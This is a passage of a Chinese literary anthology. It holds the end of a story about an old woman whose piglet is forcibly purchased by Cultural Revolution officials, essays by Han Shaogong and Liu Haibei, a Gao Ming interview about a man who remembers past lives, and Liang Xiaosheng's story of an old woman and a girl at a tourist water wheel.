　　“你看你这人！明晃晃长两只眼睛，就看不见猪背上盖着官印吗？”六婶子温厚地笑了笑，说。

　　“噢？你已经卖给县公司了？卖了多少钱？”

　　“呀，你看你这人！这猪不是我的！”

　　“你拾的？”那人眼里闪闪发光，“你老人家财运享通！”说着，他便从怀里往外掏钱。

　　“哎哟！你太小看人！你到张家坪村子里打问去，看张六的老婆一辈子做过亏心事没？咱一辈子穷是穷，可穷得钢蹦硬正！咱怎能拿公家公西给自己换钱哩？”

　　那人听了六婶子的一番话，哈哈大笑了：“哈呀！这而今可天下也寻不下你这么个憨老婆了！人民币还扎手哩？不怕！

　　这事不要你担名誉！你卖给我，我吆到山后就杀了卖呀！他谁能知道个屁哩！这猪能卖一百多块，给你八十少了点，可你是拾的嘛，咱两个人都沾点便宜。公家把这点损失当屁哩！你吆的送给公家，观顶多两句表扬话。表扬话可不能拿来砰盐买油呀！你老人家甭憨了，把这……”

　　“不！”六婶子白稀疏的头一扭，站了起来，一边准备吆猪起身，一边又对那人说：“咱好好的老百姓，怎能做亏公家的事呢，你不要麻缠了，你走你的路……”

　　那人腮帮子一歪，很凶地瞪了六婶子一眼，说：

　　“这猪是我拾的！我吆上走呀！”

　　说着，他便过去在地里拔了几棵青麻，拧成绳，动手就拴猪腿。

　　六婶子急得直往官路两头瞧，她盼望赶快来个人，好把这个凶煞制服住。大天白日抢人哩，而今的世事乱成这样子了！

　　正好！从县城方向来了两个骑自行车的人。那个正在动手捆猪腿的凶煞慌忙蹬上车就跑了。

　　等那两个人走近了，六婶子赶忙叫往了他们，结结巴巴诉说了刚才发生的事。

　　那两个人几乎同时在自己的大腿上拍了一巴掌，其中一个叫道：“实在是巧！”

　　原来，这两个人是县副食公司的收购员，这头猪也正是他俩丢的。他们就是寻猪来的。

　　两个“公家人”正如刚才那人说的。对六婶子说了许多“表扬话”，然后就把猪吆起身了。他们说，如果不吆猪的话，他们自行车是可以把她带城里赶集的。他们一再说，她实在是个好老婆婆！

　　六婶子心里畅快极了。她说她从来没坐过那玩艺儿，就是不吆猪她也不坐，她怕头晕。在那两个人临走时，她唠唠叼叼又安咐他们，说他们还年轻，以后给公家办事再不敢马马虑虑，粗心大意了……

　　现在，六婶子和她的猪娃娃又上路了。盛夏的原野，覆盖着浓重的绿色。糜谷正在抽穗，玉米已经吐出红樱。明丽的阳光照耀着刚翻过的麦田，一片深黄。大地呀，多么的单纯，而多么丰腴！

　　中午偏过一点，六婶子吆着“小黑子”来到县城。

　　好老远看见街口站着几个戴红袖标的人。她心想：这两年不是没红卫兵了吗？难道文化革命又开始了？

　　她和她的猪娃娃慢腾腾地走到了街口，准备穿过街道，到南门外的猪市上去呀。

　　她马上被人挡住了——正是那几个戴红袖标的人。

　　“猪是买的吗？”其中一个黑猪巴茬的问她。

　　“卖哩。”她回答说。

　　于是那几个人也不说什么，就把她的“小黑子”捉住撂在一个筐子里，又把篮子提到旁边的秤台上。

　　一个报斤数，另一个劈哩啪啦拨了几下算盘，说：“七元八角！”

　　那个黑胡巴茬的人就从钱袋里数出几张钱来，递到六婶子面前：“给！”

　　六婶子现在才反就过来，原来这些“红卫兵”把她的猪给收购了。她急得赶忙说：

　　“哎呀，我这猪前村里张有贵一口掏下十五块钱我都没卖呀！我八块钱买的猪娃娃，喂了半年，倒还赔了两毛钱！我不卖给你们！我到猪市上去买呀！”

　　“哈哈哈……”那几个戴红袖标的人大笑了。那个黑胡巴茬的人手指了指墙上贴了一张纸，大声说：“县革命委员早发通告了，所有的仔猪都要统一收购，统一出售，自由交易猪是资本主义！你们老百姓不识字，难道连耳朵也不长吗？就没听说县革委会发了通告吗？”

　　老婆婆的眼睛顺那人的手指往墙上看去：那的确是一张告示，上面盖着朱红官印，比猪背上的那个还大。

　　她猛感动到眼前一阵发黑。她还再反抗吗？这可是“公家”的告示呀！她对“公家”的感情是无法用语言表达的。她过去了为“公家”，曾没明没黑地在麻油灯下做过公鞋；在辗磨上推碾过公粮；在农业社会里，只要是公家的，就是一粒麦穗穗，她也要拾起放在公场的庄稼垛上。而就在刚才，她还是“公家”的那口肥猪还给了公家呀，……想不到“公家”现在把她的“小黑子”就这样“买”了，才给她七块八毛钱……她想到她害病的男人顶着火辣辣的日头挖药材；想到她为这个猪娃娃受的那些罪；又想到今年和明年连个量盐买油的钱都没指望了，忍不住鼻根一酸，泪花子在老眼里转开了……

　　她央求她面前的这些人说：“你们都是好公家人，我也是好老百姓，你们就行行好嘛！我是张家坪张六的老婆，我一辈子没生养过，无儿无女，吃的有咱农业社哩，就是零用的钱要自己打闹哩。我老两口都老了，做不成其他营生了，没来钱处，就靠一年养口猪卖点钱，量盐买油哩……”

　　这些人已经忙着收购其他人的猪了，对这个老婆子的一番可怜话听也不听。

　　那个黑胡巴茬的人把那七毛钱塞到六婶的手里，便和另外几个人推着一架子车收购来的猪，扬长而去了。

　　老婆婆紧撵在那些人的身后，眼泪汪汪一唠叼着：“你们行行好吧！看在我这无儿寡女的老婆子面上，把我的猪娃娃给我吧！公家和私人我保证都不卖了，我回去自个再喂它呀！给我吧，行行好吧！……”

　　她已经追不上他们了，但她还继续一边紧撵着，一边唠叼着上面那些话。那话一句句说的那么认真，那么可怜，尽管身边空无一人，但她好像感觉全城人都在倾听她诉说自己的苦情。

　　好看见那些人进了一个大场院。她紧撵着走了进去。那此人不见了，只见土墙围着一个大猪圈，里面挤满了大大小小的猪。

　　好扒着猪栅栏门上，喘着气，嘴里长一声短一声地叫着她的“小黑子”。可怜的“小黑子”听见了她的呼唤，从猪群里挤出来，来到了铁门上。它后面跟着挤出来一只大肥猪。六婶子认出来这就是好交给“公家人”的那口猪。老婆婆慌忙把自己的瘦手伸过铁栅栏，忘情地抚摸着“小黑子”那滚圆的背顶，她看见她的猪娃娃的背上，也盖上了一个圆圆的官印。啊，它从此再也不属于她了！她鼻根一酸，一直在眼眶里旋转的泪花子，从脸颊上滚落了下来。

　　西斜的太阳仍然闪耀着烫人的光芒。老婆婆感动了阵阵眩晕。她舍不得她亲爱的“小黑子”。她索性坐在栅栏门外的地上，一次次把那瘦骨伶仃的手伸过铁条的空隙，抚摸着这个已经不属于她的猪娃娃。她像一个探监的老母亲，把那母性的幸酸泪一滴滴洒在了无情的铁栅栏下。铁栅栏呀！你是什么人制造的呢？你多么愚蠢！你多么残忍！你多么可耻！你把共产党和老百姓隔开了！你是魔鬼挥舞的两刃刀，一面对着共产党，一面对着老百姓……

　　黄昏降临的时候，六婶子才蹒跚地走出了这个土院子。街上已经空无一人。水泥电杆上的几颗路灯像几只害了眼病的红眼睛在盯着这个老婆婆。六婶子突然看了看自己的两只空手，随后这两只手马上又在身上慌乱地摸了起来。摸了半天，她嘴一张，“哇”地一声哭了——那可怜的七块八毛钱也不知道在啥时候丢了！

自我机会高估

韩少功

　　赌场里没有常胜将军，人赌者总是输多贏少，连一个个赌王最终也死得惨惨。但无论这一高风险是如何明白无误，无论胜出概率在专家们反复计算之下是如何的微小，赌业自古以来还是长盛不衰。赌徒们从来不缺乏火热的激情、顽强的意志以及前仆后继的大无畏精神。原因很简单：他们的眼中多是成功，没有失败，总是把希望情不自禁地放大，诱导自己一次次携款前往。

　　在这里，赌业显现出一切骗局的首要前提，显示出一种人类普遍的心理顽症：自我机会高估。

　　自我机会高估不仅支撑赌业，也是诸多强权和罪恶的基础。“文革”那些年，人们虽然经济状况大体平等，政治上却有三六九等森严区分。奇怪的是，很长时间内多数人对这种地位分化非但不警觉，反而打心眼里高兴：革命的“依靠对象”觉得自己比“团结对象”优越，“团结对象”觉得自己比“争取对象”优越，“争取对象”觉得自己比“打击对象”要安全和体面——即便是一些灰溜溜的知识分子，也暗暗盘算着自己如何荣升“工农化”和“革命化”之列，相信灾难只会落在邻家的头上。机会非我莫属，倒霉自有他人，如此幻想使一批批潜在受害者同时成为伤害者，大家共同推动了政治倾轧，直到运动结束方大梦初醒，发现人人都窝着一肚子冤屈，没有几个贏家。

　　眼下，政治歧视渐少，人际之间的经济差距却在拉开，甚至出现了以掠夺国民财富为主要手段的腐败型暴富。有意思的是，很多人在怨恨腐败的同时，对腐败者的威风和奢华却不无羡慕，对滋养着腐败的拜金文化居然心神向往，对贫富过度分化甚至兴高采烈——尽管他们大多身处社会金字塔的中下层。他们无非是面对新一轮的时代博彩，照例高估自己的机会。不能骗得省长的批文，至少也可吃吃单位的公款吧？不能吃吃单位的公款，至少可以向学生家长要点红包吧？不能向学生家长要红包，至少还可用假文凭捞个职称吧？不能用假文凭捞职称，至少也可倒卖点假烟假酒吧？……很多人憧憬着自己的美事，算计着眼前的飞蝉，却不知黄雀在后，自己更有宰杀之虞。这一种由层层幻想叠加起来的普天同欢，使腐败逻辑开始合法化和公理化，蓄积日趋严重的社会危机。一旦破产和洪水到来，一旦崩市和骚乱出现，受害者肯定不仅仅是少数可怜虫。

　　无望当上赢家之后，才可能怨恨赢家。不幸的是，赢家的规则就是全体赌徒曾经甘愿服从的规则。所有输家的“候补赢家”心态，最终支持了赢家的通吃；所有输家那里“别人遭殃”的预期，使自己最终被别人快意地剥夺。在这个意义上，自我机会高估意味着人们自寻绝路，意味着我们的敌人其实源于我们自己。

　　制度易改而人性难移。正是受制于人性这一弱点，社会改造才总是特别困难：因为这样做的时候，改造者需要面对既得利益者（赢家）的反对，还经常面对潜在受害者（输家）的心理抵抗。历史上一个个危险的政治、经济、文化潮流，通常就是在赢家和输家身份不太分明的情况下，由大多数人共同协力推动而成——可惜很多历史描述都忽略了这一点。只有当失控的历史之轮一路疯狂旋转下去，离心力所致，才有越来越多的人被甩到局外的清醒中来。但到了那个时候，事情就有些晚了。即便历史流向还可以向合理的方位调整，即便人们又一次学了抗议、揭发、反思、抹鼻涕、比伤疤、高论盈庭、大彻大悟，但苦酒已经酿就，过去的代价已不可追回。有什么办法呢？

　　人民是真正的英雄吗？是的，但这里是指觉悟了的人民。从人民的未觉悟到已觉悟，往往有漫长时光，有一个受害面逐渐扩大的过程。在这种变化到来之前，人民——至少是人民中的多数——也常常充当自掘陷阱的帮凶，使有识之士非常为难。因为能够“学而知之”（孔子语）的毕竟不多，“困而知之”（孔子语）的才是多数。正因为如此，忠告的效果往往有限，忠告无法代替聆听者的切肤之痛，常常要倚重于忠告者最不愿意发生的灾难，才能激发出人民的觉悟和行动。

　　请注意：这些灾难，这些反复上演的历史悲剧，总是在人们得意洋洋自我机会高估的时候悄悄逼近。

永生

高铭

　　他：“真不好意思，应该是我登门的，但是怕打扰您，所以还是请您来了。您别见怪。”

　　面前的这个对我用尊称的人，大约四十多岁的样子，看得出是成功人士。

　　几天前，我接了一个陌生人的电话，说是我一个朋友向他推荐我，让我有时间的话抽空去找他一趟，用词极为客气和尊敬，弄得我有点不好意思。后来我向他提的那个朋友确认了下，确实有那么回事，所以抽时间就去了。见面的地方是北京著名天价地段的一栋商务写字楼——那是他公司所在。而这位神秘的先生是公司的老大。

　　我：“您太客气了，都是朋友，我能帮上什么忙肯定尽力，帮不上的话我就会想办法或者帮您再找人。还有，我比您小很多，您就不要用尊称了吧？”

　　他做了一个笑的表情：“好，那我们就不那么板着说话了。首先说一点，也许我有精神病，但是我自己不那么认为。”

　　我觉得他还真直接：“那……您找我是……”

　　他：“说起来有点矛盾，虽然我不承认我是精神病人，但是我觉得也许别人会有和我一样的情况，可能会被认为是精神病人。听着有点乱是吧？没关系，我只是想找人而已，找和我一样的人。”

　　我：“呃……是有点儿乱……不过您想找什么样的人呢？”

　　他认真地看着我：“和我一样，能不断重生，还带着前世记忆的人。”

　　我飞快地过滤问题所在：“前世？”

　　他：“好吧，我来说自己是什么情况吧。我能记得前世，不是一个前世，是很多个。”

　　我多少有点诧异：“多少次前世？”

　　他：“我知道你有些不屑，但是我希望你能听完。”

　　我：“好。”

　　我没解释自己的态度，而是在沙发上扭了一下身体让自己坐的更舒服些。

　　他：“我还记得我最初的父母。服饰记不清了，朝代的问题……这个很难讲。我记得一些对话，但是我没办法记得口音——因为每次我都是当时的本土人，听不出有口音。我身边的事情我记得更清楚些，一些大事，我记不住，例如朝代，年号，谁当权，这些都没印象了。我印象中都是与我有关的事情。”

　　我：“例如说，您亲朋好友的事情？”

　　他：“是这样，这些我都记得挺清楚。算起来大约四五十次重生了吧，原本我不记得那些前世。基本都是到了十几岁的时候，突然有一天就想起来了，我记得前世自己是谁、是做什么的、什么性别、经历过什么、曾经的亲人，我都记得。而且……”

　　他停了一下：“我都记得我是怎么死的。”

　　我发现一个问题，眼前的这个人，没有一丝表情，就像新拆封的打印纸似的，清晰，干净，但是没有一点情绪带出来。只是眼睛很深邃，这让我觉得很可怕，可细想又看不出具体哪里可怕。这么说吧：不寒而栗，尤其和他对视的时候。

　　我：“不好意思问一句不太礼貌的话：每次都是人类？”

　　他：“没什么不礼貌的，很正常。每次都是人。”

　　我：“还有您刚才提到了会知道每次都是怎么……去世的？”

　　他：“是，而且很清晰。我甚至还记得我的父母怎么死的，我的妻子或者丈夫怎么死的，我的孩子怎么死的。我都记得。”

　　我决定试探一下：“您，现在会做噩梦？”

　　他：“不会梦到，但更严重，因为根本睡不着，严重失眠。每次夜深人静的时候，我会想起很多经历过的前世，不是可以去想，而是忍不住就浮现出来了。”

　　我：“这方面您能举一些例子吗？”

　　他：“曾经我是普通的百姓，在一个兵荒马乱的年代，几次浩劫都躲过去了，我和家人相依为命。可最后我们全家都被一下穿着盔甲的士兵抓住了。我眼看着他们杀了我的父母，奸杀我的妻子，在我面前把我的孩子开膛破肚，最后砍下我的头。我甚至还记得被砍头后的感觉。”

　　我：“被砍头后的感觉……”

　　他：“是的。先是觉得脖子很凉，一下子好像就变轻了，然后脖子是火烧一样的感觉，疼的我想喊，但是嘴却动不了。头落下的时候我能看到我没头的身体猛地向后一仰，血从脖子喷出来，一下一下地喷出来，身体也随着一下一下地逐渐向前栽倒。我的头落地的时候撞得很疼，还知道有人抓住我的头发把头拎起来。那时候听到的、看到的都开始模糊了，嘴里有血的味道。之后越来越黑，直到什么都听不见看不见，没有了感觉。”

　　我觉得自己有点坐立不安：“别的呢？”

　　他：“很多，我是某人的小妾，被很多女人排挤，最后被毒死；我是一个士兵，经历过几次血流成河的战争后，眼看着密密麻麻的长矛捅向我，根本挡不开，而且一次没捅死，反复很多次，直到我眼前发黑什么都不知道了；我是一个商人，半路被强盗杀了，就是那么被乱刀砍，过了很久才死；我是一户人家的仆人，只是因为说错了一句话就被活活打死；我是一个农民，在田里干活的时候被蛇咬到了，毒发而死……”

　　我：“您等一下，没有正常老死的吗？”

　　他：“有，但是那样的印象不深，越是痛苦的，记忆越清晰。”

　　我：“是不是那么多次自己的死亡和家人的死亡让您觉得很痛苦？”

　　他：“现在我已经麻木了，对于那些，我都无所谓了。还记得我找你的原因吗？我现在，没有朋友，父母都去世了，没有家人，不结婚，不要孩子，因为我已经不在意那些了，都不是重要的。我只希望有个能理解这种苍凉的同伴，不管那会是谁。也许你们会认为那是精神病，是就是吧，我不在乎，只是希望有个人能和我有同样的经历，能理解我的感受。我知道你现在一定认为我在胡言乱语，对于这一点，我也不在乎。我只是想找到那个存在，我们在一起聊聊，哪怕口头约定下一世还在一起，做朋友，做家人，做夫妻都成。前世我自杀过，但是没用，我只是终结了那一世，终结不了再次重生。”

　　我：“重生……”

　　他：“自从我意识到问题后，每一世都读遍各种书，想找到结束的办法，或者同我一样的存在，但是从未找到过。我努力想创造历史，但是我做不到，我只是一个普通人。我曾经在战场上努力杀敌，真的是浴血，可仅仅凭我，影响不了战局。我努力读书想考取功名，用我自己的力量左右一个朝代，但是我总是深陷其中最后碌碌而为。我觉得自己很没用，毕竟史书上留名的人太少了。几世前我就明白了，想做一个影响到历史的人，需要太多因素，要比所有人更坚定，要比所有人更残忍，要比所有人更冷静，要比所有人更无悔，要比所有人更运气更好，要比所有人更疯狂，还要比所有人更坚韧……太多了！所以，我认了，承认自己只是一个草民罢了。但是我也看到无数人想追求长生不老，从帝王将相到那些想修炼成仙的普通人。焚香放生，茹素念经，出家炼丹，寻仙求神，都是一个样。可是长生不老真的很好吗？看着自己的亲人和朋友都不在了，自己依旧存在，一代又一代的独自活着。看着身边的人都是陌生人，没有真正的同伴，没有家人，没有朋友，没人理解，这样很好？我实在不觉得 ，我只希望能终结这种不断的重生，我曾经几世都信宗教，吃斋念佛，一心向道，但是没用，依旧会再次重生。我知道自己看上去很冷漠，那是因为我怕了，我不敢有任何感情地投入，我受不了那些。我不相信我是唯一的，但是目前我知道的就只有我一人。”

　　我看着他，他的表情一直平静冷淡，甚至眼神都没有一丝波动。那份平静好像更不是在说自己，而是在说一部电影、一本小说。

　　我：“那么您这一世……很成功吗不是？”

　　他：“对我来说，这是假的，只能让眼下过得好一些，但是更多的是我想通过财力找到自己想找的，我不接受自己是唯一的重生者。但目前看，你也没见过这种情况。不过，我依旧会付钱给你，这点不用推辞。”

　　我：“很抱歉我的确没听说过这种情况。所以我也……”

　　他打断我：“没关系，就当我付钱请你陪我闲聊天吧。如果你今后遇到像我一样重生的人，希望你能第一个告诉我。如果是真的，我会另有酬谢，你想要什么样的酬谢，我都可以满足你——当然，在我能力之内。”

　　我：“您……这个事情跟很多人讲过吗？”

　　他：“不是很多，有一些。”

　　我：“大多的反应是羡慕吧？”

　　他：“是的，他们不能理解那种没办法形容的感受，或者说是惩罚。”

　　我：“还有别的说法吗？”

　　他：“有的。问我前世有没有宝藏埋下了，或者帝王长什么样子，要不做女人什么感受之类的。问得最多的，是问我怎么才能有钱，我告诉他们了，但是没人信。”

　　我：“嗯……您能说答案吗？”

　　他：“可以，我可以告诉任何人这点，很简单：不管身处什么时代，安稳的也好，战乱的也好，浮夸世风也好，只要做到四个字，隐忍、低调。”

　　我想了下：“嗯……有点儿意思……”

　　他稍微前倾了下身体看着我：“你……怎么看？”

　　我直视着他的眼睛：“我知道很多类似的情况，虽然不是重生，但是我很清楚那种痛苦有多大。否则不会那么多人疯了。”

　　他重新恢复坐姿：“也许吧……可能其实我就是精神病人，只是我有钱，没人认为我疯了，那些没有钱的，就是疯子……能找到那么一个就好，哪怕一个。”

　　后半句话他好像是对自己说的。

　　那个下午我们又聊了一下别的，什么话题都有。必须承认，他的知识面太广了，到惊人的程度。回去后问了向他介绍我的那个朋友，朋友说他没上过什么学。

　　我有时候想，这种孤独感的人，应该算是一个类型，虽然属于各种各样的孤独感但是都是让人痛苦的，可又没办法，就那么独自承受着。但是，他如果没有那些物质方面的陪衬呢？会不会被家人当做精神病人？至今还在某个房间角落喃喃自语，或者已经死了？转往下一世？真的是重生吗？他是向什么神明许过愿望？真的有神明吗？

　　他说的也许没错，无数人希望得到永生的眷顾，用各种方式去追求——真身不腐，意志不灭。但是没人意识到，永生，也许只是个孤独的存在。

　　摘自《天才在左，疯子在右》

老水车旁的风景

梁晓声

　　其实，那水车一点儿都不老。

　　它是一处旅游地最显眼的标志，旅游地原本是一个村子。两年前，这地方被房地产开发商发现并相中。于是在盖别墅和豪宅的同时，捎带着将这里开发成了旅游景点，使之成了小型的周庄。

　　在双休日或节假日，城里人络绎不绝地驾车来到这里，吃喝玩乐，纵情欢娱。于是，这里有了算命的、画像的、兜售古玩的；也有了陪酒女、陪游女、卖唱女、按摩女，皆姿容娇好的农家少女。她们终日里耳濡目染，思想迅速地商业化着。

　　城里人成群结队地来到的时候，必会看到，在那水车旁有一老妪和一少女。老妪七十有几，少女才十六七岁，皆着清朝裳。老妪形容枯瘦憔悴；少女人面桃花、目如秋水，顾盼之际，道是无晴却有晴。老妪纺线，少女刺绣，成为水车的陪衬，景观中的风景。她们都是景区花钱雇了在那儿摆样给观光客们看的，收入微薄。幸而，若有观光客与她们照相，或可得些小费。老妪是村里的一位孤寡老人，在村里有一间半祖宅。村子受益于旅游业，有了些公款，每月亦给她50元。老妪是以感激旅游业，对自己能有那样一种营生，甚为满足，终日笑眯眯的。少女是从外地流落到这儿的。像寻蜜的蜂儿一样被这旅游业的兴旺发达吸引来的。她的家在哪里，家境如何，身世怎样，没人知道。曾有好奇的村人问过，少女讳莫如深，每每三缄其口，是以渐无问者。当地人对于外地人，免不了有点儿生。可像她这么一个十六七岁的女孩，讨生活的方式并不危害任何当地人的利益，虽然明明是外省人，便借故欺她，却是不忍心的。不忍相欺归不忍相欺，但对于那来路不明的小姑娘，当地人内心还是有些犯嘀咕。会不会是个小女贼，待人们放松了警惕，待她摸清了各家的情况，抓住对她有利的机会，逐门逐户偷盗个遍，然后逃得无影无踪。据他们所知，省内别的景区发生过这样的事，祸害了当地人的也是个姑娘，只不过是个二十几岁的大姑娘，只不过没有亲自偷盗，而是充当一个偷盗团伙的眼线。那么，她背后也有一个偷盗团伙吗？人们相互提醒着。随后，她的行动，便被置于许多双又责任感的眼睛的监视之下。但她一如既往地对人们有礼貌，还特别感激当地人收留她。难道因为她才十六七岁，还太单纯，看不出别人对她的警惕吗？这么小年龄的女孩儿走南闯北，会单纯才怪！那么，必是伪装的了。于是，在当地人看来，小女孩还很狡猾……

　　只有老妪觉得她是个好女孩儿。

　　她们成为“同事”几天以后，老妪曾问过少女住在哪儿，少女说住在一家饭店的危房里，每天五元钱，晚上还得帮着干两个多小时的活。饭店里有老鼠，她最怕老鼠。“就是每月150元，也花去了我半个来月的工资，还得看主人两口子的眼色……”

　　少女说得泪汪汪的。

　　“闺女，住我家吧。我那儿就我一个人，我也喜欢有你这么个伴儿，不会给你受气。”

　　老妪说得很诚恳。

　　少女没想到老妪会那么说，正犹豫着该怎么回答，老妪又说：“我一分钱不收你的。”

　　……

　　于是，少女作为老妪所希望的一个伴儿，住到了老妪家里。

　　于是，少女脸上笑容多了，喜欢和她一块儿照相的观光客也多了。最多时，每天能收到五十元。

　　老妪脸上的皱纹少了。熟悉她那张老面孔的人，发现她脸上几条最深的褶子变浅了，有要舒展开来的迹象了。她脑后的抓髻也好看了，不像以前那么歪歪扭扭的了。她的指甲不再长而不剪。指甲缝也不再黑黢黢的了。她那身“行头”，显然洗的勤了。她的好心情让她的小费也多起来了。

　　有好心人提醒她：“你让那小人精住你那儿去了？千万防着点儿，万一你那点钱被她偷了，临走连件寿衣都穿不上……”

　　老妪不爱听那样的话。

　　她说：“走？往哪儿走？人家孩子比我多的钱放哪儿都不避我，我那么点儿钱，防人家干吗？”

　　她爱听少女的话。

　　少女常对她说：“奶奶，尽量想高兴的事儿，那样您准能活一百多岁。”

　　经历了二十几年孑然一身，形影相吊的孤寡生活以后，忽然有了一个朝夕相处的小女伴儿，老妪返老还童了似的。有时，一老一少对面着坐着，各点各的钱，还相互换零凑整的……

　　然而有天老妪忽然失明，接着咯血了。村里不得不派人把她送到县医院，一诊断是癌症，早扩散了。那么老的人了，也只有回家挨着。

　　村里的负责人就对少女说：她都这样了，你搬走吧，爱住哪儿住哪儿去吧。

　　少女哭着说：“我不搬走。奶奶对我好，我也要服侍服侍她……”

　　非亲非故，来历不明，还口口声声“奶奶，奶奶”叫得挺亲，就是不搬走，图什么呢？

　　村里的负责人想到了老妪的一间半祖屋。

　　这个小人精，不图房子，还图什么？

　　于是，在老妪精神状态稍好的某日，村里的负责人带着一男一女来到了老妪家里，他介绍那男的是县公证处的，女的是位律师。他开门见山的对老妪说，她应该在临死前做出决定，将一间半的祖屋留给村里。那屋子是可以改装成门面房的，稍加改装以后，或卖或租，钱数都很可观。

　　老妪说：“行啊！”

　　村里的负责人又说：“那你就在这张纸上按个手印吧!”

　　老妪不高兴了：“我觉得，我一时死不了。”

　　村里的负责人急了：“所以趁你还明白，才让你按手印嘛！”

　　老妪就不理他们三个男女，把身子一转，背朝他们了……

　　村里的负责人没主意了，找来另外几个有主意的人商议，他们都认为老妪完全有可能被那个外省的小妖精蛊惑了，把一间半祖屋“赠送”给那小妖精了……

　　口口相传，几个人所担心的事情，一夜之间，仿佛成了确凿之事。是可忍，孰不可忍？岂能让不相干的人占了便宜？

　　于是全村男女老少同仇敌忾起来。

　　没人愿意去照顾那糊涂的老妪了……

　　少女就连她那份儿工作也不能干了……

　　村里人们的心，暗中扭成了一股劲儿——你不是哭着闹着要服侍吗？你一个人好好服侍吧！服侍得再好也是枉费心机，企图占房子？法庭上见吧!

　　十几天后，老妪走了。

　　老妪攒下的钱不够发送自己，少女为她买了一件寿衣……

　　又没过了几天，那少女也消失了，没跟村里任何人告别，也没留下封信……

　　村里负责的人竟不知拿老妪那一间半祖屋怎么办才好了。景区内的门面房是在涨价，但他也不敢自作主张改造，装修了或租或售，因为他怕有一天少女突然出现，手里拿一份什么证明，使村里损失了改造费和装修费，甚至落个非法出售或出租的罪名……

　　那景区至今依然游人如织。

　　那水车至今还在日夜转动。

　　那一半老屋子，至今还闲置着，越发破败了。再不改造和装修，不久就会倒塌……

家有名妻

刘海北

　　在念高中的时候，有一天大姐命令我画一个女人。

　　在当时，我的美术成绩高低起伏很大。凡是成绩优异，甚至包括了一次比赛冠军在内的作品，都是大姐代为捉刀的杰作；凡是成绩低的，都是地道的拙作。

　　我想此时大姐命令我画一个女人，一定是不存好心，要出我的洋相。于是顿时不服气起来，拿过纸笔精心地画了一个女人。大姐接过去一看，笑着说：“你将来一定怕太太，不是怕她凶就是怕她出名。”我问她为什么？她解释说：“因为你画的女人特别壮而且大。”虽然我当时对她那一套心理测验一点也不服气，可是从此在心里种下了一些隐隐的忧虑。

　　进了大学，才发现自己不敢对女同学讲话。尤其是面对漂亮的女同学，简直舌头发硬，浑身发抖。尤其是听过一些唐璜型同学的自白，更是把我吓坏了。从他们那里听到的，是挫败多于成就。的确，那时代男性人数比起女性多得多了，年轻的女孩子气焰甚高。要想追到一个女朋友，最少要通过耐力、智力、定力和财力四大测验。

　　听到先进们这些经验谈，真使得我望女孩而却步。于是每逢假日，干脆躲在家里。

　　出国进修以后，失去了家的保护，同时又感到女孩子实在可爱，只好鼓起勇气来面对女孩子。正当我武装自己准备面临四大考验时，居然发现女孩子并不像传说的那么可怕和不讲理。尤其是比我们晚四五年毕业的女孩，和我们同时期的女同学们已大不相同。这些年轻的女孩会自费和你一同去吃饭、看电影。她们已经把自己提升到和你平等的地位了。

　　当然，那时并没有料到“名妻”就在这些女孩子中。在最初和她交往的时候，发现她最具北国气质――是就是，不是就不是，从心到口是一条平坦笔直的大道，没有一丝拐弯抹角。对我这一个既缺乏经验，而勇气又稍嫌不足的逾龄学生来说，真是最理想的对象。“来电”以后，想到的当然是婚嫁问题。这个时候，我已经有了九成半以上的把握，她将来不会对我太凶。可是她是不是会出名呢？于是心中一盘算，她是学油画的，环顾世界各国，看画的人口毕竟有限，要想靠画出名谈何容易！于是下定决心，非她莫娶。

　　回国以后，名妻最初安分地作画，开画展，虽然名字也上了报，并不见得出了什么名。在这个时期，她也非常珍视她的诗才文才，偶有感触，都记在记事簿里。

　　有一天，她灵机一动，画了一张油画并在其上题诗一首，后来这张油画在展出时居然相当轰动――那首诗得到很多好评。食髓知味，除了在画上写诗以外，还在一幅较大的油画上写了散文。从此以后，杂志出版界开始接受她的诗和画，并且常有稿约。而后，她的散文和插画，经常在报端和刊物中出现。从此她以画挤进了文艺界。因为文艺读者的人数远远地超过了看画人口，她真的成为我的“名妻”了。

　　最初名妻每写完一首诗，都先给我看一遍，问我懂不懂，看不看得出来她想借这首诗表达什么。有一天打开电视，正在播放国文高中教学，授课的也是和她在同一学校执教的女同事，所以就听上一听。那天的课目是白居易诗，说是白居易每成一诗，一定先请一位老妪过目，如果老妪看懂了，才算真正的完成，否则一定要改到她看懂了为止。于是我明白了，我的功用居然和那位老妪一样。

　　妻子出名，的确会引起一些窘事，以下略述一二。

　　名妻不在家的时候，总是我接下电话，请对方交代要转达给名妻的讯息。就有那么两三次，对方问我是谁，我回答说我是名妻的先生，对方顺着说：“席先生，您好。”天哪，居然给我冠上了名妻的姓。一当我正名：“敝姓刘”以后，对方连连的道歉，我想他这时一定比我更尴尬。身为一个大男人，多少有点是沙文主义者，要想把这件事处之泰然，非要有很高很高的涵养才行。

　　还有一件常常发生的事是给我做介绍的时候，介绍人为了加深对方的印象，常在介绍完了我的姓名、职业、学历甚至生辰八字以后，再加上一句：“他就是名妻的先生。”日后可能没有几个人还记得我的姓名，可是一定记得我的婚姻状况。

　　那么，难道名妻没有带给我任何的方便吗？其实不然，让我再举两个例子供您参考。

　　名妻的读者，大多是正在大专就读，或刚踏出校门，进入社会担任基层工作的青年们。记得有一次计划全家出游，名妻打电话到某饭店订房。订房小姐说那一天正值假期，房间都已经订出去了。但是仍然可以留下姓名，列入候补。当名妻一报上姓名，对方说：“您随时来吧，一定有房间留给您。”真是痛快极了。一些常要去办事的地方，柜台小姐先由“名妻”打点好，事情一定办得顺利。

　　有时候为了业务上的需要，必须和某些关键性的人物交个朋友。要交朋友必须先表示诚意。送礼吧，既俗气又有行贿之嫌；请吃饭吧，又剥夺了一次人家全家欢聚的机会，所以无论怎么做，都很难开口。后来终于想出一个妙策――送上一本有名妻签名的著作，这时他一方面很难拒绝这种“雅礼”，另一方面又觉得刘某很看得起他。送者实惠受者大方，皆大欢喜。

　　在家居方面，名妻也和别的家庭主妇一样，有些事喜欢做，有些事不喜欢做。

